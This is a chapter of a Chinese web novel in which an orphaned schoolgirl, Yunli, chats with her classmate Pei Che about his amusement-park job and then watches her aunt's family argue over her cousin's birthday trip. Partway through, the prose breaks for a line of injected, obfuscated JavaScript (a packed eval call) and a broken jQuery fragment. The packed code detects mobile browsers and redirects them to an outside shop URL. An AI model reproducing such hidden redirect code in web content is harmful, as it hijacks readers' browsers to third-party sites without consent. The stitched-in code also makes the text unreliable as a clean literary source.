云荔倒是觉得他这回答挺直白的,反而松弛了很多。
握着扫帚轻轻扫着脚边的纸屑。
“那也太厉害了,咱们这个年纪大部分人都是伸手跟家里要钱,很少有人会自己主动出来兼职吧。”
云荔只是随口一说,但裴澈看起来没有随便一听。
裴澈默默擦完最后一块黑板,把抹布对折整齐搭在黑板槽边缘。
然后转过身,垂眸看着地面,伸手拿起靠墙放着的另一把扫帚,语气淡淡:“只是刚好有空,也刚好有合适的工作。”
像是刻意避开了更深的话题,没有解释自己为什么偏偏选在人流量最大最吵闹的游乐园打工,也没有多说自己的兼职日常。
云荔对这种情绪变化是很敏感的,看了裴澈一眼,点点头。
她很懂事的没有追问,习惯性顺着他的话往下接。
“那应该是城西那家星光游乐园吧?”
市里对外开放还长期招学生兼职的游乐园,好像就只有那一家。
说是什么相应什么政策,给在读的高中生大学生提供兼职岗位……
只不过云荔家庭条件不错,爸妈又宠她,所以云荔从来没想过去打工。
裴澈听完扫地的动作微微一顿,抬眼看云荔一眼,点头:“嗯,就是那家。”
星光游乐园。
她以前跟着爸妈去过一两次,距离市区不算近,但是设施又新又多,环境还干净,是市里小孩子最向往的游玩地方。
云荔确实想象不出来看起来就不爱热闹的裴澈,在那种满是欢声笑语和孩童嬉闹的地方打工的时候会是个什么样。
两人并肩低头扫地,谁也没说话,教室里安静得只剩下扫帚摩擦地面的沙沙声响。
窗外的夜色慢慢沉了下来,街边的路灯次第亮起,暖黄的光线透过玻璃窗斜斜落进来,车灯偶尔划过,在窗帘上投下一块运动的光影。
云荔有种说不出的感觉。
像是目睹了一株长错了地方,但是又长得特别着装的葡萄藤一样。
成串儿的果子在努力生长,尽管位置看起来格格不入,但依旧在努力生长……
云荔也觉得自己想多了。
但就是忍不住脑子里蹦出这么个联想。
然后……
云荔又想起白天魏星燃一瘸一拐跑去给自己买零食的样。
就像裴澈说的那样,魏星燃对她是好,还是那种毫无保留的好。
但裴澈……
不太一样。
“做兼职会不会很累?”云荔忍不住又开口搭话。
“周末人多,会忙一点。”裴澈垂着眼睛把垃圾倒进垃圾桶,语气依旧平淡,“工作日下午还好,大多是闲散游客。”
云荔把扫把归位,又问:“要一直站着吗?”
“当然了,大部分时间需要站岗检票,偶尔还要巡逻帮着指引路线。”
裴澈说完,意有所指,“不算辛苦,比做数学题轻松。”
云荔一下就想起来自己了,有些尴尬的扯扯嘴角,不说话了。
裴澈看出了她的尴尬,语气柔和了许多:“……问这么多,你也想兼职?”
不动声色的转移话题?
云荔听出来他不想聊这个话题了,摇摇头,很识趣的彻底闭嘴了。
每个人都有自己的秘密和难处,没必要事事刨根问底。
两人扫完了整片教室。
云荔弯腰把最后一堆垃圾扫进簸箕,直起身的时候下意识抬手揉了揉腰。
裴澈刚好收拾完工具转头:“收拾好就可以走了,垃圾我倒,你回家注意安全。”
“不用不用!”云荔赶紧拒绝,说完提着垃圾桶往外走。
裴澈看着她的背影,愣了两秒,直接伸手从桌上拿起两人的书包,跟在云荔身后。
楼道里的灯大半已经熄灭,只剩下廊尾的小灯亮着暖黄的光,照亮的区域也不大。
两个人倒完垃圾走出教学楼的时候,晚风迎面吹来,带着初秋沉淀了一天后独有的湿味,还挺心旷神怡的。
云荔深深吸了一口晚风,整个人都放松下来。
“那我先走啦。”她转头看向裴澈,从裴澈手里接过书包背在肩上,挥了挥手,“明天见。”
“嗯,明天见。”裴澈只是点点头,目光落在她轻快离去的背影上,停留了好几秒,才缓缓收回视线,转身朝相反的方向走。
……
云荔走出校门,沿着熟悉的街道慢慢往家走。
手机屏幕亮了好几次,全是魏星燃发来的消息。
【值日结束了吗。】
【要不要我过去接你。】
【路上小心,到家记得跟我说一声。】
云荔看着屏幕,心里五味杂陈。
她随手回了一句:【快到家了,不用惦记】
然后就直接把手机揣进了兜里。
回到家的时候,客厅的灯正亮着。
云荔刚推开门,就听见表弟正在小声抱怨。
“妈,求你了,别的不办就不办了,但是今年生日你们答应过我要去星光游乐园陪我玩的!这个别取消行吗?”
表弟赵贺晚拽着云婷的衣角不停摇晃,生怕妈妈不同意。
云荔换鞋的动作微微一顿。
星光游乐园。
刚好是裴澈兼职打工的地方。
客厅的沙发上,云婷的脸色很不好看,正无奈揉着发胀的太阳穴。
“听话,今年咱们先不去,姐姐家里情况特殊,我们安安静静待在家里过生日……”
姑父坐在沙发上,也是一脸无奈,沉默着没有多劝。
毕竟云荔父母车祸离世才一个月,云婷也不想让云荔难受。
更何况上次云荔那么懂事的主动说要搬出去住校……
可把云婷给心疼得一整晚都没睡好觉,生怕云荔心里不舒服。
这种时候,她要是带着儿子热热闹闹去游乐园过生日,实在显得太不近人情了。
她自己心里就过意不去。
这不就等于在云荔伤口上撒盐吗?
可赵贺晚才八岁,压根不懂这些弯弯绕,上次挨了骂虽然大部分都妥协了,可心心念念的游乐园,他还是想去。
“星光里过生日,他们会给生日徽章,还会给特别礼物的……我真的很想要……”
赵贺晚都快哭了,磨着云婷使劲撒娇耍赖。
云婷看着儿子委屈的模样,又转头看了看刚进门正安安静静站在玄关的云荔,尴尬极了。
怎么又是这么个场面?!
又让云荔听见了!
气氛瞬间僵住。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17914550|213280||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
云荔见状,连忙换好鞋子走进客厅,脸上扬起笑意:“没事的姑姑。”
“曾子杀猪嘛,对小孩子的承诺哪能随便作废,你们去年答应他了,就带他去玩就好。”
云婷愣了愣,第一反应就是要开口推辞。
“我没关系的,姑姑,真的。”云荔赶紧打断,还笑了笑,“我也需要面对现实,总要继续生活的嘛,你们不用一直顾虑我的情绪,表弟那么期待这个生日,别让他失望了。”
她比谁都懂事,比谁都清楚云婷的顾虑。
可她不想因为自己的变故,毁掉表弟期盼了一整年的生日。
悲伤是成年人的潮湿,不该绑架小孩子纯粹的快乐。
姑父闻言也松了口气,连忙顺着台阶往下接话:“那行,那就听荔荔的,我们周末带你表弟去星光游乐园过生日。”
赵贺晚瞬间破涕为笑,开心的蹦了起来,撒着欢往楼上冲:“太好了!我可以去游乐园啦!”
云婷看着懂事得让人心疼的侄女,眼底满是心疼,轻轻拉过云荔的手:“那你也一起去?你还有我们,不能让你一个人在家待着。”
云荔微微迟疑了一下,但还是轻轻点头。
星光游乐园。
裴澈周末会在那里兼职。
说不定,还可以刚好碰到他?
念头刚冒出来,云荔就赶紧压住。
碰不碰到有什么必然联系吗?碰到又怎样?没碰到又怎样?她干嘛在意这个?
云荔连忙装作若无其事的样子,陪着姑姑说笑,听着一家人规划周末的游玩行程。
……
直到夜里躺在床上,云荔都还在想这事。
夜里的房间安安静静的,云荔翻来覆去睡不着。
脑海里反复回放着傍晚值日的画面。
裴澈清冷的侧脸,温柔的语气,还有他不肯细说的兼职原因。
他和魏星燃明明看起来是完全相反的两种人。
魏星燃的喜欢是张扬外放的,是恨不得全世界都知道他偏爱自己似的。
一句谢谢就能开心半天,改个卷子小心翼翼生怕惹她不快,腿脚没好利索就飞奔着给她买零食饮料。
可裴澈不一样。
但哪儿不一样呢?
她也说不上来,充其量就是打语音电话讲过数学题而已……
云荔睁着眼睛看着天花板,手指无意识的揪着被角布料。
如果周末真的能碰到裴澈,她真想好好看看,裴澈穿着工作服站在热闹人潮里,会是什么样子。
……
与此同时。
裴澈刚洗完澡,一边擦着湿发坐在书桌前,一边看着刚刚亮起来的手机屏幕。
页面还停留在星光游乐园的工作人员发来的兼职排班表上。
周末全天在岗,检票口轮班。
是很普通的排班表,和之前的哪一次都没有不同,裴澈利落的打字回了个收到,就把手机扔在旁边开始认真擦头发。
书桌是老式的写字台,一半堆满了练习册,另一半横七竖八的躺着几个喝空的酒瓶子,酒味儿呛人的要命。
桌角都斑驳掉漆了,看着坑坑洼洼的。
裴澈的目光在那几个酒瓶上扫过,毛巾往肩膀上一搭,一只手拎仨瓶,哗啦哗啦的都扔到了阳台的蛇皮袋里。